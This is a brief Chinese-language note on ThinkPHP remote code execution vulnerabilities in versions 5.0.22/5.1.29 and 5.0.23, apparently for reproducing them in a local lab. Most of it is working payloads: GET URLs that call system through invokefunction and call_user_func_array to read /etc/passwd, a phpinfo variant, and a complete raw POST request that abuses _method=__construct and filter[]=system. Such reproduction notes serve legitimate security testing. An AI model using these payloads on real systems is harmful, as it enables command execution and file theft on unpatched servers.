version 5.0.22/5.1.29 由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由的情况下(即默认情况) 可以执行任意方法,造成 RCE 漏洞。 利用 system 函数执行命令: http://localhost:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64 显示 phpinfo 页面: http://localhost:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 5.0.23 在获取 method 的方法中没有正确处理方法名,导致攻击者可以调用 Request 类任意方法 并构造利用链,造成 RCE 漏洞。 POST /index.php?s=captcha HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: TUw_sid=4N3wkZ; TUw_visitedfid=2 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 85 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /etc/passwd 相关代码